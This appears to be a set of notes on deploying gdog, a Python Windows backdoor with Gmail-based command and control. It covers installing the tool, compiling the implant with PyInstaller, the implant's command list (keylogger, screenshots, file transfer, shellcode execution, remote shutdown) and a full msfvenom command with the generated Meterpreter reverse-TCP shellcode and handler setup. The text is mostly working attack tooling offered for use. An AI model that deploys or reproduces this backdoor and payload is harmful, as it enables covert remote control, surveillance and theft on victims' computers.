backdoor

https://n0where.net/python-based-windows-backdoor-gmail-cc-gdog/

git clone https://github.com/maldevel/gdog

pip3 install -r requirements.txt --user

Contents

gdog.py a script that's used to enumerate and issue commands to available clients

client.py the actual backdoor to deploy

You're probably going to want to compile client.py into an executable using Pyinstaller

Note: It's recommended you compile client.py using a 32bit Python installation

pip3 install pyinstaller

Usage

Basic usage is very simple, just run it against your main script:

pyinstaller /path/to/yourscript.py


 __
 __ ___/ /_ __ _
 / __ `/ __ / __ \/ __ `/
 / // / // / // / // /
 \__, /\__,/\___/\__, /
 /____/ /____/

optional arguments:
 -h, --help show this help message and exit
 -v, --version show program's version number and exit
 -id ID Client to target
 -jobid JOBID Job id to retrieve

 -list List available clients
 -info Retrieve info on specified client

Commands:
 Commands to execute on an implant

 -cmd CMD Execute a system command
 -visitwebsite URL Visit website
 -message TEXT TITLE Show message to user
 -tasks Retrieve running processes
 -services Retrieve system services
 -users Retrieve system users
 -devices Retrieve devices(Hardware)
 -download PATH Download a file from a clients system
 -download-fromurl URL
 Download a file from the web
 -upload SRC DST Upload a file to the clients system
 -exec-shellcode FILE Execute supplied shellcode on a client
 -screenshot Take a screenshot
 -lock-screen Lock the clients screen
 -shutdown Shutdown remote computer
 -restart Restart remote computer
 -logoff Log off current remote user
 -force-checkin Force a check in
 -start-keylogger Start keylogger
 -stop-keylogger Stop keylogger

Shellcode Exec
$ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=172.16.153.1 -f python

No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11"
buf += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
buf += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
buf += "\x53\xff\xd5"


Get rid of everything except for the shellcode and stick it in a file:

$ cat shell.txt
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5

run the console

 ./msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.153.1; run"